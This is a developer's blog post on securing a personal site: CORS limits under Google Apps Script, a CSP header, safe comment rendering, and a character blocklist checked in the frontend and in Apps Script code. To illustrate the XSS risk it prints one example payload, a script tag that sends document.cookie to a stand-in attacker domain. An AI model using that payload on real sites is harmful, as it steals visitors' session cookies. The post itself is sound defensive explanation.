Cybersecurity. It might not be flashy, but if some noob hackers manage to break in, where does that leave my credibility?
My first concerns ended up been:
CORS, in a nutshell, refers to a set of header settings that a server uses to tell a browser which origins are allowed to load its resources.
For example, if a domain like randomDomain.net tries to access a server's API, but the server’s CORS policy only allows SpecificDomain.net, the user’s browser will block the request.
This was a concern for my API server. The idea was to configure CORS so that only my domain could access my API endpoints. However, since I’m using Google Apps Script as my API server—and Google enforces its own CORS policies that I can’t modify—there wasn’t much I could do.
My domain couldn’t even make POST requests—only GET—because Google’s CORS restrictions blocked them. I explained how I worked around this issue in the previous post.
CSP is a set of rules that a website sends to a browser, telling it what the site's code is allowed—and not allowed—to do. It acts like a security guard, placing restrictions on the scripts and other resources.
At first, it might seem strange to restrict your own code. After all, if you trust your code, why limit it? But the point isn’t to guard against yourself—it’s to protect users in case someone manages to inject malicious code into your site.
For my website, the most obvious vulnerability is the comment section (more on that later). If someone were to sneak malicious code into a comment, CSP can help prevent that code from doing serious harm by blocking certain actions—like running inline scripts or sending data to shady domains.
My CSP:
/*
Content-Security-Policy:
default-src 'self';
style-src 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com;
script-src 'self' https://cdn.jsdelivr.net;
font-src 'self' https://fonts.googleapis.com;
/*
: Instructs to apply the following policies to all domain paths:default-src 'self'
: By default, all resources should come from the domain server itself.style-src ...
: Style sheets (e.g., CSS files) should come from the domain server or from the specified domain(s) on the right.script-src ...
: Script files (e.g., JS files) should come from the domain server or from the specified domain(s) on the right.font-src ...
: Fonts should come from the domain server or from the specified domain(s) on the right.Any resources not specified here fall under the default-src rule.
Note: cdn.jsdelivr.net is the domain that gives my page the bootstrap framework
My first CSP version included only the default-src 'self'
policy. As a result, my website loaded only resources from its own domain, blocking other things like Bootstrap.
Using the developer tools, I was able to see exactly what my browser was blocking and from which domains. After some inspection, I added the important domains to my CSP policies.
In hindsight, maybe blocking characters was overkill. Well, better safe than sorry... but I guess I'll remove this blocking in a future commit.
Your system users may not always write to you with the best intentions. Not only can they send you a mean message, but they might also include a malicious piece of code.
Imagine if someone writes a comment on my blog that includes an HTML tag containing JavaScript code. This comment will be displayed as part of my blog page. A browser could potentially interpret that comment as additional front-end code to be executed—and that’s where the danger lies.
Take a look at the code below. Note that a comment has been added into a comment section using innerHTML
:
const commentSection = document.getElementById("commentSection");
commentSection.innerHTML += `<div>"${comment}"</div>`;
What if the content of comment is:
<script>fetch('https://attackerDomain5050.com?c=' + document.cookie)</script>
In this case, any user who accesses a page with this comment risks having their cookies stolen. Since the content is inserted via innerHTML
, the browser interprets it as executable front-end code. This is just one example of many possible threats.
That is why I now display comments on my page using this approach:
const commentElement = document.createElement("div");
commentElement.textContent = comment;
const commentSection = document.getElementById("commentSection");
commentSection.appendChild(commentElement);
By using textContent, even if the comment includes code, the browser treats it as plain text—not executable code.
But that’s not all.
Maybe I could stop here, but an important concept in security—called redundancy—states that I should implement multiple layers of protection, so that if one outer layer fails, the next one provides backup.
With that in mind, I’ve decided to block certain characters in the comment form:
< > " ' / \ = ( ) { } [ ] ; : @ & + % # $ `
You can write them in the name and text area of the form, but when you click "Post," a message will appear saying that your comment or name contains forbidden characters. The frontend will then refuse to send your message to the “database.” Without these characters, it becomes much harder to inject code into the comment section.
// Functio to validade a comment
function isCommentValid(name, comment) {
const forbidden = /[<>"'\/\\=\(\)\{\}\[\];:@&+%#$`]/;
return !forbidden.test(name) && !forbidden.test(comment);
}
// Part of my form's send event handler.
// When a comment is invalid,
// it hides the "sending" message
// and shows the "invalid comment" message
// by changing CSS classes.
// The return exits the form sending function
// before it actually sends the message.
if (!isCommentValid(name, message)){
sending.classList.replace("d-block", "d-none");
invalidCommentMessage.classList.replace("d-none", "d-block");
return;
}
Some of these characters are blocked not just for script injection, but also to protect the database itself. I’m using a Google Spreadsheet as a database—it’s public information, and anyone following my blog posts knows about it. To prevent a clever user from submitting a comment that contains a Google Sheets formula (which could tamper with the database), I’m filtering out those characters on the frontend.
And in case someone bypasses that, I’m also checking for those characters in the API code on the backend.
My App Script code for now
function doGet(e) {
// check for new comments mails to add to the spreadSheet
const sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
const threads = GmailApp.search('subject:blog_comment is:unread');
const forbiddenChars = /[<>"'\/\\=\(\)\{\}\[\];:@&+%#$`]/;
threads.forEach(thread => {
const messages = thread.getMessages();
messages.forEach(msg => {
const name = msg.getFrom().split(' <')[0];
const [postId, message] = msg.getPlainBody().split("###end###");
// checking and blogcking messages and names with forbidden characters
if (!forbiddenChars.test(name) && !forbiddenChars.test(message)){
sheet.appendRow([postId, name, message]);
}
});
thread.markRead();
});
//returing the data as a json
const data = sheet.getDataRange().getValues();
const postId = e.parameter['post_id'];
const filtered_data = data.filter(row => String(row[0]) === String(postId));
var jsonData = [];
for (var i = 0; i < filtered_data.length; i++) {
jsonData.push({
PostId: filtered_data[i][0],
Name: filtered_data[i][1],
Message: filtered_data[i][2]
});
}
return ContentService.createTextOutput(JSON.stringify(jsonData))
.setMimeType(ContentService.MimeType.JSON);
}